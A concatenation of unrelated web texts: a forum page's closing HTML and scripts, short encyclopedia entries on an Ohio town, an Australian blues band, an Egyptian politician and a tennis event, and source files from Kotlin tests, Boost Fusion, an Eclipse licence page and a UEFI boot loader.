<span class="liketext liketext_min"><span id="likenum_154602">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@ </p>
</div>
<div class="replylist-act">
<span class="floor">18#</span>
<a title=" Mr.R" href="javascript:void(0)" class="replyBtn" onclick="Reply('Mr.R')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-08-22 21:26</span> |
<a target='_blank' href="path_to_url">qhwlpg</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:260 :64 | path_to_url
<div class="likebox">
<span class="likepre" title="" rel="160954"></span>
<span class="liketext liketext_min"><span id="likenum_160954">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>path_to_url </p>
</div>
<div class="replylist-act">
<span class="floor">19#</span>
<a title=" qhwlpg" href="javascript:void(0)" class="replyBtn" onclick="Reply('qhwlpg')"></a>
</div>
</div><!-- reply-content End -->
</li>
</ol><!-- replylist End -->
</div><!-- replys End -->
<div id="reply" class="reply">
<a name="comment"></a>
<p class="detail">
<a href="path_to_url"><u></u></a>
</p>
<script type="text/javascript">
var masaic = '0';
function CommentLike(id){
$.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){
re=parseInt(re);
switch(re){
case 1:
$("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1);
break;
case 4:
alert(_LANGJS.COMMENT_GOOD_DONE);
break;
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alert(_LANGJS.COMMENT_SELF);
break;
default:break;
}
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$(document).ready(function(){
$(".likebox .likepre").click(function(){
CommentLike($(this).attr("rel"));
});
});
</script>
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<script type="text/javascript">
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E"));
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<script type="text/javascript">
document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours();
if (top.location !== self.location) top.location=self.location;
</script>
</body>
</html>
```
|
Richmond Dale (sometimes Richmondale) is a census-designated place in central Jefferson Township, Ross County, Ohio, United States. It has a post office with the ZIP code 45673. It is located along U.S. Route 35 southeast of the county seat of Chillicothe. The population of the CPD was 386 at the 2020 census.
History
Richmond Dale was laid out in 1811. The community derives its name from Richmond, Virginia, the native home of a first settler. A post office called Richmond was established in 1814, and the name was changed to Richmond Dale in 1829. The change in name was intended to prevent repetition with another Richmond, Ohio.
Education
Richmond Dale has a public library, a branch of the Chillicothe & Ross County Public Library.
Gallery
References
Unincorporated communities in Ohio
Unincorporated communities in Ross County, Ohio
1811 establishments in Ohio
|
The Revelators (also known as "The Delta Revelators") is an Australian blues rock band formed in 1989 by Joe Camilleri, James Black, Joe Creighton and Peter Luscome. Jeff Burstin joined in 1990. In Camilleri's own words, their desire was to "blow out the serious days' work with people who shared the same interest in music and who simply wanted to play it".
The band is a side project of The Black Sorrows as all members were part of The Black Sorrows at the time of formation. The Revelators' sound was a return to early Black Sorrows sound: playing largely R&B-oriented cover songs.
The band released three studio albums and a live DVD between 1991 and 2002. A greatest hits was released in 2012.
The band received two ARIA Award nominations; both for ARIA Award for Best Blues and Roots Album, in 2001 and 2003.
History
The band was an offshoot of The Black Sorrows. Original members Joe Camilleri (vocals, guitar, sax), James Black (guitars, keys), Jeff Burstin (guitars, mandolin), Joe Creighton (bass) and Peter Luscombe (drums) were all also simultaneously members of The Black Sorrows, an Australian blues and roots band that had released five studio albums in the 1980s.
"The Delta Revelators", as they were originally known, were a Black Sorrows side project in the late 1980s to play gigs and relax after more serious studio work. The response from Melbourne audiences led them to regular sessions at ID's (now The Continental) and the Botanical Hotel which in turn led to fans requesting an album. The band recorded Amazing stories – a collection of roots based covers in 1991. Also guesting on the album were most of the other members of The Black Sorrows, including violinist Jen Anderson and vocalists Linda and Vika Bull. The album was re-released in March 1993 as a 2-CD pack with The Black Sorrows' Better Times and it peaked at number 14 on the ARIA Charts.
A near ten-year hiatus then ensued while the group members were engaged with other musical commitments.
In early 2000, a reconstituted version of the group was assembled, now featuring Camilleri, Creighton, Black, drummer Nicky Bomba, and (as an adjunct member) Ed Bates on pedal steel. In four days, they recorded a second studio album titled The Adventures of The Amazing Revelators. the album was a mix of blues and roots covers and original material. The album was released in March 2000.
In November 2001, a live DVD titled Floating Bridge: Live at the Basement was released. It originally aired on ABC TV in December 2001. The line-up for this release was Camilleri, Black, Creighton, Luscombe and guitarist Claude Carranza.
In September 2002, the band -- now consisting of Camilleri, Creighton and Black with new drummer Tony Floyd -- released a third studio album titled, The Revelators. Session players on the album included Ed Bates, Kerryn Tolhurst, Jane Clifton, Shane O'Mara, and others.
In July 2012, the band released Floating Bridge: Live at the Basement as a digital-only live album.
In August 2012, the band reunited for three special afternoon shows in Melbourne at the newly launched venue the Flying Saucer Club. They celebrated with the release of The Best Of... The Revelators.
Members
Joe Camilleri (vocals, saxophone, guitar)
James Black (keyboards)
Joe Creighton (bass, vocals)
Jeff Burstin (guitar)
Peter Luscombe (drums)
Nicky Bomba (drums, percussion, backing vocals)
Ed Bates (guitar)
James Black (piano, organ, clarinet, guitar, mandolin)
Discography
Studio albums
Amazing Stories (1991, Sony Music Australia)
Better Times (by The Black Sorrows) / Amazing Stories (by The Revelators) (1993, CBS Records) – No. 14 AUS
The Adventures of The Amazing Revelators (2000, Head Records)
The Revelators (2002, Head Records)
DVD/Live albums
Floating Bridge: Live at the Basement (2001 – DVD; 2012 – digital download)
Compilations
The Best Of... The Revelators (Head Records) (2012)
Singles
References
Australian rock music groups
Musical groups established in 1989
Musical groups from Melbourne
|
Mounir Fakhry Abdel Nour (; ; born 21 August 1945) is an Egyptian businessman and politician.
Early life and education
Abdel Nour was born into a Coptic Christian family on 21 August 1945. His father, Amin Fakhry Abdel Nour (1912 – 2012), was a Wafdist politician.
He graduated from a French high school in Cairo. He received a bachelor's degree from Cairo University's Faculty of Economics and Political Science. He holds a master's degree from the American University in Cairo (AUC) with a thesis entitled "private foreign investment as a source of economic development."
Career
Abdel Nour is a businessman. He began his career as representative in Egypt and the Middle East for the French bank "Banque de l'Union Européenne" then joined American Express International Banking Corporation as vice president in Egypt. He later founded Egyptian Finance Company. In 1983 he founded the Egyptian French Company for Agro-Industries (Vitrac Company )i He was board member of the Cairo and Alexandria stock exchange, the Federation of Egyptian Industries., the center for economic studies of developing countries at Cairo university.
Abdel Nour then joined politics. He run for office in the 1995 elections, but lost. He won a seat in the 2000 general elections. and was elected Head of the opposition in Parliament. Later he was elected secretary-general of the Wafd Party. After 25 January revolution he was appointed minister of tourism in the cabinet led by then prime minister Ahmed Shafiq in February 2011. Abdel Nour succeeded Zoheir Garranah in the post. He remained in his post in the cabinets headed by Essam Sharaf followed by Kamal Ganzouri until 2 August 2012.
He refused to participate in the government of the Moslem Brothers headed by Hisham Kandil and joined the opposition. He participated in the founding of the "National Salvation Front" on 23 November 2012 and was later chosen as its Secretary General. In this capacity he was among the organizers of the 30 June 2013 uprising that ended the rule of the Moslem Brothers.
In February 2013 he joined the Cabinet headed by Ibrahim Mahlab as Minister of Trade, Industry and Investment and will retain the portfolio of Trade and Industry until 18 September 2015. On 16 July 2013, he was appointed as the minister of Industry and Foreign Trade in the interim cabinet headed by prime minister Hazem Al Beblawi.
References
External links
Members of the Pan-African Parliament
1945 births
Living people
Egyptian people of Coptic descent
Cairo University alumni
The American University in Cairo alumni
Coptic politicians
Members of the Pan-African Parliament from Egypt
Coptic businesspeople
Egyptian businesspeople
New Wafd Party politicians
Trade and Industry ministers of Egypt
Tourism ministers of Egypt
Beblawi Cabinet
Investment ministers of Egypt
Coptic Christians from Egypt
|
```kotlin
/*
* that can be found in the LICENSE file.
*/
package codegen.coroutines.returnsNothing1
import kotlin.test.*
import kotlin.coroutines.*
import kotlin.coroutines.intrinsics.*
open class EmptyContinuation(override val context: CoroutineContext = EmptyCoroutineContext) : Continuation<Any?> {
companion object : EmptyContinuation()
override fun resumeWith(result: Result<Any?>) { result.getOrThrow() }
}
suspend fun suspendForever(): Int = suspendCoroutineUninterceptedOrReturn {
COROUTINE_SUSPENDED
}
suspend fun foo(): Nothing {
suspendForever()
throw Error()
}
suspend fun bar() {
foo()
}
fun builder(c: suspend () -> Unit) {
c.startCoroutine(EmptyContinuation)
}
@Test fun runTest() {
builder {
bar()
}
println("OK")
}
```
|
Shuko Aoyama and Chang Kai-chen were the defending champions, having won the 2012 Ningbo Challenger – Women's doubles, but both players chose not to participate.
Chan Yung-jan and Zhang Shuai won the title, defeating Irina Buryachok and Oksana Kalashnikova in the final, 6–2, 6–1.
Seeds
Draw
References
Draw
Ningbo International Women's Tennis Open - Doubles
Ningbo International Women's Tennis Open
|
```c++
/*=============================================================================
Use modification and distribution are subject to the Boost Software
path_to_url
==============================================================================*/
#if !defined(BOOST_FUSION_FUNCTIONAL_ADAPTER_UNFUSED_TYPED_HPP_INCLUDED)
#if !defined(BOOST_PP_IS_ITERATING)
#include <boost/preprocessor/cat.hpp>
#include <boost/preprocessor/iteration/iterate.hpp>
#include <boost/preprocessor/repetition/enum.hpp>
#include <boost/preprocessor/repetition/enum_params.hpp>
#include <boost/preprocessor/repetition/enum_trailing_params.hpp>
#include <boost/config.hpp>
#include <boost/utility/result_of.hpp>
#include <boost/fusion/support/detail/access.hpp>
#include <boost/fusion/sequence/intrinsic/value_at.hpp>
#include <boost/fusion/sequence/intrinsic/size.hpp>
#include <boost/fusion/container/vector/vector.hpp>
#include <boost/fusion/container/vector/convert.hpp>
#include <boost/fusion/functional/adapter/limits.hpp>
#include <boost/fusion/functional/adapter/detail/access.hpp>
#if defined (BOOST_MSVC)
# pragma warning(push)
# pragma warning (disable: 4512) // assignment operator could not be generated.
#endif
namespace boost { namespace fusion
{
template <class Function, class Sequence> class unfused_typed;
//----- ---- --- -- - - - -
namespace detail
{
template <class Derived, class Function,
class Sequence, long Arity>
struct unfused_typed_impl;
}
template <class Function, class Sequence>
class unfused_typed
: public detail::unfused_typed_impl
< unfused_typed<Function,Sequence>, Function, Sequence,
result_of::size<Sequence>::value >
{
Function fnc_transformed;
template <class D, class F, class S, long A>
friend struct detail::unfused_typed_impl;
typedef typename detail::call_param<Function>::type func_const_fwd_t;
public:
BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED
inline explicit unfused_typed(func_const_fwd_t f = Function())
: fnc_transformed(f)
{ }
};
#define BOOST_PP_FILENAME_1 <boost/fusion/functional/adapter/unfused_typed.hpp>
#define BOOST_PP_ITERATION_LIMITS (0,BOOST_FUSION_UNFUSED_TYPED_MAX_ARITY)
#include BOOST_PP_ITERATE()
}}
#if defined (BOOST_MSVC)
# pragma warning(pop)
#endif
namespace boost
{
#if !defined(BOOST_RESULT_OF_USE_DECLTYPE) || defined(BOOST_NO_CXX11_DECLTYPE)
template<class F, class Seq>
struct result_of< boost::fusion::unfused_typed<F,Seq> const () >
: boost::fusion::unfused_typed<F,Seq>::template result<
boost::fusion::unfused_typed<F,Seq> const () >
{ };
template<class F, class Seq>
struct result_of< boost::fusion::unfused_typed<F,Seq>() >
: boost::fusion::unfused_typed<F,Seq>::template result<
boost::fusion::unfused_typed<F,Seq> () >
{ };
#endif
template<class F, class Seq>
struct tr1_result_of< boost::fusion::unfused_typed<F,Seq> const () >
: boost::fusion::unfused_typed<F,Seq>::template result<
boost::fusion::unfused_typed<F,Seq> const () >
{ };
template<class F, class Seq>
struct tr1_result_of< boost::fusion::unfused_typed<F,Seq>() >
: boost::fusion::unfused_typed<F,Seq>::template result<
boost::fusion::unfused_typed<F,Seq> () >
{ };
}
#define BOOST_FUSION_FUNCTIONAL_ADAPTER_UNFUSED_TYPED_HPP_INCLUDED
#else // defined(BOOST_PP_IS_ITERATING)
///////////////////////////////////////////////////////////////////////////////
//
// Preprocessor vertical repetition code
//
///////////////////////////////////////////////////////////////////////////////
#define N BOOST_PP_ITERATION()
namespace detail
{
template <class Derived, class Function, class Sequence>
struct unfused_typed_impl<Derived,Function,Sequence,N>
{
typedef typename detail::qf_c<Function>::type function_c;
typedef typename detail::qf<Function>::type function;
typedef typename result_of::as_vector<Sequence>::type arg_vector_t;
public:
#define M(z,i,s) \
typename call_param<typename result_of::value_at_c<s,i>::type>::type a##i
BOOST_CXX14_CONSTEXPR BOOST_FUSION_GPU_ENABLED
inline typename boost::result_of<
function_c(arg_vector_t &) >::type
operator()(BOOST_PP_ENUM(N,M,arg_vector_t)) const
{
#if N > 0
arg_vector_t arg(BOOST_PP_ENUM_PARAMS(N,a));
#else
arg_vector_t arg;
#endif
return static_cast<Derived const *>(this)->fnc_transformed(arg);
}
BOOST_CXX14_CONSTEXPR BOOST_FUSION_GPU_ENABLED
inline typename boost::result_of<
function(arg_vector_t &) >::type
operator()(BOOST_PP_ENUM(N,M,arg_vector_t))
{
#if N > 0
arg_vector_t arg(BOOST_PP_ENUM_PARAMS(N,a));
#else
arg_vector_t arg;
#endif
return static_cast<Derived *>(this)->fnc_transformed(arg);
}
#undef M
template <typename Sig> struct result { typedef void type; };
template <class Self BOOST_PP_ENUM_TRAILING_PARAMS(N,typename T)>
struct result< Self const (BOOST_PP_ENUM_PARAMS(N,T)) >
: boost::result_of< function_c(arg_vector_t &) >
{ };
template <class Self BOOST_PP_ENUM_TRAILING_PARAMS(N,typename T)>
struct result< Self (BOOST_PP_ENUM_PARAMS(N,T)) >
: boost::result_of< function(arg_vector_t &) >
{ };
};
} // namespace detail
#undef N
#endif // defined(BOOST_PP_IS_ITERATING)
#endif
```
|
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "path_to_url">
<html xmlns="path_to_url">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>About</title>
</head>
<body lang="EN-US">
<h2>About This Content</h2>
<p>November 30, 2017</p>
<p>
The Eclipse Foundation makes available all content in this plug-in
("Content"). Unless otherwise indicated below, the Content
is provided to you under the terms and conditions of the Eclipse
available at <a href="path_to_url">path_to_url
For purposes of the EPL, "Program" will mean the Content.
</p>
<p>
If you did not receive this Content directly from the Eclipse
Foundation, the Content is being redistributed by another party
("Redistributor") and different terms and conditions may
apply to your use of any object code in the Content. Check the
Redistributor's license that was provided with the Content. If no such
license exists, contact the Redistributor. Unless otherwise indicated
below, the terms and conditions of the EPL still apply to any source
code in the Content and such source code may be obtained at <a
href="path_to_url">path_to_url
</p>
</body>
</html>
```
|
```c
/*++
version 3. Alternative licensing terms are available. Contact
info@minocacorp.com for details. See the LICENSE file at the root of this
project for complete licensing information.
Module Name:
memory.c
Abstract:
This module implements UEFI-specific memory management support.
Author:
Evan Green 11-Feb-2014
Environment:
Boot
--*/
//
// your_sha256_hash--- Includes
//
#include <minoca/kernel/kernel.h>
#include <minoca/uefi/uefi.h>
#include "firmware.h"
#include "bootlib.h"
#include "efisup.h"
//
// your_sha256_hash Definitions
//
//
// Define the number of extra descriptors to give EFI despite what they
// reported.
//
#define EFI_EXTRA_DESCRIPTOR_COUNT 10
//
// Define the number of descriptors the loader is probably going to create.
//
#define EFI_LOADER_DESCRIPTOR_ESTIMATE 50
//
// ------------------------------------------------------ Data Type Definitions
//
//
// ----------------------------------------------- Internal Function Prototypes
//
EFI_STATUS
BopEfiGetMemoryMap (
UINTN *MemoryMapSize,
EFI_MEMORY_DESCRIPTOR *MemoryMap,
UINTN *MapKey,
UINTN *DescriptorSize,
UINT32 *DescriptorVersion
);
EFI_STATUS
BopEfiAllocatePages (
EFI_ALLOCATE_TYPE Type,
EFI_MEMORY_TYPE MemoryType,
UINTN Pages,
EFI_PHYSICAL_ADDRESS *Memory
);
EFI_STATUS
BopEfiFreePages (
EFI_PHYSICAL_ADDRESS Memory,
UINTN Pages
);
EFI_STATUS
BopEfiSetVirtualAddressMap (
UINTN MemoryMapSize,
UINTN DescriptorSize,
UINT32 DescriptorVersion,
EFI_MEMORY_DESCRIPTOR *VirtualMap
);
VOID
BopEfiDestroyDescriptorIterator (
PMEMORY_DESCRIPTOR_LIST DescriptorList,
PMEMORY_DESCRIPTOR Descriptor,
PVOID Context
);
MEMORY_TYPE
BopEfiConvertFromEfiMemoryType (
EFI_MEMORY_TYPE EfiMemoryType
);
BOOL
BopEfiDoMemoryTypesAgree (
EFI_MEMORY_TYPE EfiType,
MEMORY_TYPE MemoryType
);
//
// your_sha256_hash---- Globals
//
//
// Store the allocation containing the memory descriptors for the memory map.
// This is the first allocation to arrive and the last to go, as it contains
// the list of other allocations to clean up.
//
EFI_PHYSICAL_ADDRESS BoEfiDescriptorAllocation;
UINTN BoEfiDescriptorAllocationPageCount;
//
// your_sha256_hash-- Functions
//
KSTATUS
BopEfiInitializeMemory (
VOID
)
/*++
Routine Description:
This routine initializes memory services for the boot loader.
Arguments:
None.
Return Value:
Status code.
--*/
{
MEMORY_DESCRIPTOR Descriptor;
UINTN DescriptorCount;
UINTN DescriptorIndex;
EFI_MEMORY_DESCRIPTOR *EfiDescriptor;
UINTN EfiDescriptorSize;
UINT32 EfiDescriptorVersion;
EFI_MEMORY_DESCRIPTOR *EfiMap;
EFI_PHYSICAL_ADDRESS EfiMapAllocation;
UINTN EfiMapKey;
UINTN EfiMapSize;
UINTN EfiPageCount;
EFI_STATUS EfiStatus;
EFI_PHYSICAL_ADDRESS LoaderDescriptorAllocation;
UINTN LoaderDescriptorPageCount;
UINTN LoaderDescriptorSize;
KSTATUS Status;
EfiMapAllocation = INVALID_PHYSICAL_ADDRESS;
EfiMapSize = 0;
EfiPageCount = 0;
LoaderDescriptorAllocation = INVALID_PHYSICAL_ADDRESS;
LoaderDescriptorPageCount = 0;
MmMdInitDescriptorList(&BoMemoryMap, MdlAllocationSourceNone);
//
// Get the memory map size.
//
BopEfiGetMemoryMap(&EfiMapSize,
NULL,
&EfiMapKey,
&EfiDescriptorSize,
&EfiDescriptorVersion);
if ((EfiDescriptorSize < sizeof(EFI_MEMORY_DESCRIPTOR)) ||
(EfiMapSize == 0)) {
Status = STATUS_INVALID_CONFIGURATION;
goto EfiInitializeMemoryEnd;
}
//
// Allocate enough pages to hold the entire set of EFI memory map
// descriptors.
//
EfiMapSize += EFI_EXTRA_DESCRIPTOR_COUNT * EfiDescriptorSize;
EfiMapSize = ALIGN_RANGE_UP(EfiMapSize, EFI_PAGE_SIZE);
EfiPageCount = EfiMapSize >> EFI_PAGE_SHIFT;
EfiMapAllocation = MAX_UINTN;
EfiStatus = BopEfiAllocatePages(AllocateMaxAddress,
EfiLoaderData,
EfiPageCount,
&EfiMapAllocation);
if (EFI_ERROR(EfiStatus)) {
Status = BopEfiStatusToKStatus(EfiStatus);
goto EfiInitializeMemoryEnd;
}
ASSERT((UINTN)EfiMapAllocation == EfiMapAllocation);
EfiMap = (PVOID)(UINTN)EfiMapAllocation;
//
// Also allocate enough pages to create memory descriptors for each of
// EFI's memory descriptors, and then some.
//
DescriptorCount = (EfiMapSize / EfiDescriptorSize) +
EFI_LOADER_DESCRIPTOR_ESTIMATE;
LoaderDescriptorSize = DescriptorCount * sizeof(MEMORY_DESCRIPTOR);
LoaderDescriptorSize = ALIGN_RANGE_UP(LoaderDescriptorSize, EFI_PAGE_SIZE);
LoaderDescriptorPageCount = LoaderDescriptorSize >> EFI_PAGE_SHIFT;
LoaderDescriptorAllocation = MAX_UINTN;
EfiStatus = BopEfiAllocatePages(AllocateMaxAddress,
EfiLoaderData,
LoaderDescriptorPageCount,
&LoaderDescriptorAllocation);
if (EFI_ERROR(EfiStatus)) {
Status = BopEfiStatusToKStatus(EfiStatus);
goto EfiInitializeMemoryEnd;
}
//
// Add these descriptors to the boot memory map so it has enough to
// contain the whole memory map.
//
ASSERT((UINTN)LoaderDescriptorAllocation == LoaderDescriptorAllocation);
MmMdAddFreeDescriptorsToMdl(
&BoMemoryMap,
(PMEMORY_DESCRIPTOR)(UINTN)LoaderDescriptorAllocation,
LoaderDescriptorSize);
BoEfiDescriptorAllocation = LoaderDescriptorAllocation;
BoEfiDescriptorAllocationPageCount = LoaderDescriptorPageCount;
LoaderDescriptorAllocation = INVALID_PHYSICAL_ADDRESS;
//
// Now get the memory map for real this time.
//
EfiStatus = BopEfiGetMemoryMap(&EfiMapSize,
EfiMap,
&EfiMapKey,
&EfiDescriptorSize,
&EfiDescriptorVersion);
if (EFI_ERROR(EfiStatus)) {
Status = BopEfiStatusToKStatus(EfiStatus);
goto EfiInitializeMemoryEnd;
}
//
// Loop through the descriptors, matching descriptors.
//
ASSERT(BoMemoryMap.DescriptorCount == 0);
DescriptorIndex = 0;
while ((DescriptorIndex + 1) * EfiDescriptorSize <= EfiMapSize) {
EfiDescriptor = (EFI_MEMORY_DESCRIPTOR *)((PVOID)EfiMap +
(DescriptorIndex * EfiDescriptorSize));
DescriptorIndex += 1;
Descriptor.BaseAddress = EfiDescriptor->PhysicalStart;
Descriptor.Size = EfiDescriptor->NumberOfPages << EFI_PAGE_SHIFT;
Descriptor.Type = BopEfiConvertFromEfiMemoryType(EfiDescriptor->Type);
Descriptor.Flags = 0;
Status = MmMdAddDescriptorToList(&BoMemoryMap, &Descriptor);
if (!KSUCCESS(Status)) {
goto EfiInitializeMemoryEnd;
}
}
Status = STATUS_SUCCESS;
EfiInitializeMemoryEnd:
if (LoaderDescriptorAllocation != INVALID_PHYSICAL_ADDRESS) {
BopEfiFreePages(LoaderDescriptorAllocation, LoaderDescriptorPageCount);
}
if (EfiMapAllocation != INVALID_PHYSICAL_ADDRESS) {
BopEfiFreePages(EfiMapAllocation, EfiPageCount);
}
return Status;
}
VOID
BopEfiDestroyMemory (
VOID
)
/*++
Routine Description:
This routine cleans up memory services upon failure.
Arguments:
None.
Return Value:
None.
--*/
{
//
// If the memory subsystem was never initialized, there's nothing to do.
//
if (BoEfiDescriptorAllocationPageCount == 0) {
return;
}
//
// This function makes some assumptions about page sizes.
//
ASSERT(MmPageSize() == EFI_PAGE_SIZE);
//
// Loop through every descriptor in the memory map, and free any that were
// allocated by the loader.
//
MmMdIterate(&BoMemoryMap, BopEfiDestroyDescriptorIterator, NULL);
//
// Finally, free the allocation that hold the memory descriptors.
//
BopEfiFreePages(BoEfiDescriptorAllocation,
BoEfiDescriptorAllocationPageCount);
BoEfiDescriptorAllocation = INVALID_PHYSICAL_ADDRESS;
BoEfiDescriptorAllocationPageCount = 0;
return;
}
KSTATUS
BopEfiLoaderAllocatePages (
PULONGLONG Address,
ULONGLONG Size,
MEMORY_TYPE MemoryType
)
/*++
Routine Description:
This routine allocates physical pages for use.
Arguments:
Address - Supplies a pointer to where the allocation will be returned.
Size - Supplies the size of the required space, in bytes.
MemoryType - Supplies the type of memory to mark the allocation as.
Return Value:
STATUS_SUCCESS if the allocation was successful.
STATUS_INVALID_PARAMETER if a page count of 0 was passed or the address
parameter was not filled out.
STATUS_NO_MEMORY if the allocation request could not be filled.
--*/
{
EFI_PHYSICAL_ADDRESS Allocation;
MEMORY_DESCRIPTOR Descriptor;
EFI_STATUS EfiStatus;
UINTN PageCount;
KSTATUS Status;
//
// This will need to be handled on migration to an architecture with
// differently sized pages.
//
ASSERT(MmPageSize() == EFI_PAGE_SIZE);
//
// More asserts that need to be handled if they come up.
//
ASSERT((Size & EFI_PAGE_MASK) == 0);
PageCount = Size >> EFI_PAGE_SHIFT;
Allocation = MAX_UINTN;
EfiStatus = BopEfiAllocatePages(AllocateMaxAddress,
EfiLoaderData,
PageCount,
&Allocation);
if (EFI_ERROR(EfiStatus)) {
Status = BopEfiStatusToKStatus(EfiStatus);
goto EfiLoaderAllocatePagesEnd;
}
//
// This assert is here to remind everyone that if the loader exits in
// error, it's responsible for freeing all of its allocations. The code in
// destroy knows to look for these types in the MDL to free. If folks in
// the loader are allocating other types they'll need to be dealt with
// there. It's important that those types of allocations not be confused
// with any that might come from the initial EFI memory map, otherwise the
// destroy routine won't be able to know what to free.
//
ASSERT((MemoryType == MemoryTypePageTables) ||
(MemoryType == MemoryTypeBootPageTables) ||
(MemoryType == MemoryTypeLoaderTemporary) ||
(MemoryType == MemoryTypeLoaderPermanent));
//
// Also add the descriptor to the list.
//
RtlZeroMemory(&Descriptor, sizeof(MEMORY_DESCRIPTOR));
Descriptor.BaseAddress = Allocation;
Descriptor.Size = PageCount << EFI_PAGE_SHIFT;
Descriptor.Type = MemoryType;
Status = MmMdAddDescriptorToList(&BoMemoryMap, &Descriptor);
if (!KSUCCESS(Status)) {
goto EfiLoaderAllocatePagesEnd;
}
Status = STATUS_SUCCESS;
EfiLoaderAllocatePagesEnd:
*Address = Allocation;
return Status;
}
KSTATUS
BopEfiSynchronizeMemoryMap (
PUINTN Key
)
/*++
Routine Description:
This routine synchronizes the EFI memory map with the boot memory map.
Arguments:
Key - Supplies a pointer where the latest EFI memory map key will be
returned.
Return Value:
Status code.
--*/
{
BOOL Agree;
ULONGLONG CurrentBase;
PMEMORY_DESCRIPTOR Descriptor;
ULONGLONG DescriptorEnd;
UINTN DescriptorIndex;
EFI_MEMORY_DESCRIPTOR *EfiDescriptor;
UINTN EfiDescriptorSize;
UINT32 EfiDescriptorVersion;
EFI_MEMORY_DESCRIPTOR *EfiMap;
UINTN EfiMapKey;
UINTN EfiMapSize;
BOOL Failed;
MEMORY_DESCRIPTOR NewDescriptor;
KSTATUS Status;
EfiMap = NULL;
EfiMapKey = 0;
RtlZeroMemory(&NewDescriptor, sizeof(MEMORY_DESCRIPTOR));
Status = BopEfiGetAllocatedMemoryMap(&EfiMapSize,
&EfiMap,
&EfiMapKey,
&EfiDescriptorSize,
&EfiDescriptorVersion);
if (!KSUCCESS(Status)) {
goto EfiSynchronizeMemoryMapEnd;
}
//
// Loop over each EFI memory descriptor.
//
Failed = FALSE;
DescriptorIndex = 0;
while ((DescriptorIndex + 1) * EfiDescriptorSize <= EfiMapSize) {
EfiDescriptor = (EFI_MEMORY_DESCRIPTOR *)((PVOID)EfiMap +
(DescriptorIndex * EfiDescriptorSize));
DescriptorIndex += 1;
//
// Loop until the entire EFI descriptor is covered by a boot descriptor.
//
CurrentBase = EfiDescriptor->PhysicalStart;
DescriptorEnd = CurrentBase +
(EfiDescriptor->NumberOfPages << EFI_PAGE_SHIFT);
while (CurrentBase < DescriptorEnd) {
Descriptor = MmMdLookupDescriptor(&BoMemoryMap,
CurrentBase,
CurrentBase + 1);
//
// Add the descriptor to the OS list under any of the following
// conditions:
// 1) There is no descriptor there.
// 2) The loader thinks it's free but the firmware says it's not.
// 3) The firmware says it's free but the loader thought it wasn't.
//
if ((Descriptor == NULL) ||
((Descriptor->Type == MemoryTypeFree) &&
(EfiDescriptor->Type != EfiConventionalMemory)) ||
((EfiDescriptor->Type == EfiConventionalMemory) &&
(Descriptor->Type != MemoryTypeFree))) {
//
// Assert that if the firmware thinks it's free, the loader
// must have had it marked as firmware temporary.
//
ASSERT((EfiDescriptor->Type != EfiConventionalMemory) ||
(Descriptor->Type == MemoryTypeFirmwareTemporary));
NewDescriptor.Type =
BopEfiConvertFromEfiMemoryType(EfiDescriptor->Type);
NewDescriptor.BaseAddress = CurrentBase;
NewDescriptor.Size = DescriptorEnd - CurrentBase;
Status = MmMdAddDescriptorToList(&BoMemoryMap,
&NewDescriptor);
if (!KSUCCESS(Status)) {
RtlDebugPrint("Failed to add memory descriptor type %d, "
"0x%I64x - 0x%I64x: Status %d\n",
NewDescriptor.Type,
NewDescriptor.BaseAddress,
NewDescriptor.Size,
Status);
goto EfiSynchronizeMemoryMapEnd;
}
CurrentBase = DescriptorEnd;
//
// If there is something there, verify it agrees with the boot
// descriptor.
//
} else {
Agree = BopEfiDoMemoryTypesAgree(EfiDescriptor->Type,
Descriptor->Type);
if (Agree == FALSE) {
RtlDebugPrint("Error: Memory conflict!\nEFI Descriptor "
"type %d, PA 0x%I64x, %I64d pages, 0x%I64x.\n"
"Boot Descriptor type %d, PA 0x%I64x, size "
"0x%I64x.\n",
EfiDescriptor->Type,
EfiDescriptor->PhysicalStart,
EfiDescriptor->NumberOfPages,
EfiDescriptor->Attribute,
Descriptor->Type,
Descriptor->BaseAddress,
Descriptor->Size);
Failed = TRUE;
}
CurrentBase = Descriptor->BaseAddress + Descriptor->Size;
}
}
}
if (Failed != FALSE) {
Status = STATUS_MEMORY_CONFLICT;
goto EfiSynchronizeMemoryMapEnd;
}
Status = STATUS_SUCCESS;
EfiSynchronizeMemoryMapEnd:
if (EfiMap != NULL) {
BoFreeMemory(EfiMap);
}
*Key = EfiMapKey;
return Status;
}
KSTATUS
BopEfiVirtualizeFirmwareServices (
UINTN MemoryMapSize,
UINTN DescriptorSize,
UINT32 DescriptorVersion,
EFI_MEMORY_DESCRIPTOR *VirtualMap
)
/*++
Routine Description:
This routine changes the runtime addressing mode of EFI firmware from
physical to virtual.
Arguments:
MemoryMapSize - Supplies the size of the virtual map.
DescriptorSize - Supplies the size of an entry in the virtual map.
DescriptorVersion - Supplies the version of the structure entries in the
virtual map.
VirtualMap - Supplies the array of memory descriptors which contain the
new virtual address mappings for all runtime ranges.
Return Value:
Status code.
--*/
{
EFI_STATUS EfiStatus;
KSTATUS Status;
EfiStatus = BopEfiSetVirtualAddressMap(MemoryMapSize,
DescriptorSize,
DescriptorVersion,
VirtualMap);
if (EFI_ERROR(EfiStatus)) {
Status = BopEfiStatusToKStatus(EfiStatus);
goto EfiVirtualizeFirmwareServicesEnd;
}
BoEfiRuntimeServices = BoEfiSystemTable->RuntimeServices;
Status = STATUS_SUCCESS;
EfiVirtualizeFirmwareServicesEnd:
return Status;
}
KSTATUS
BopEfiGetAllocatedMemoryMap (
UINTN *MemoryMapSize,
EFI_MEMORY_DESCRIPTOR **MemoryMap,
UINTN *MapKey,
UINTN *DescriptorSize,
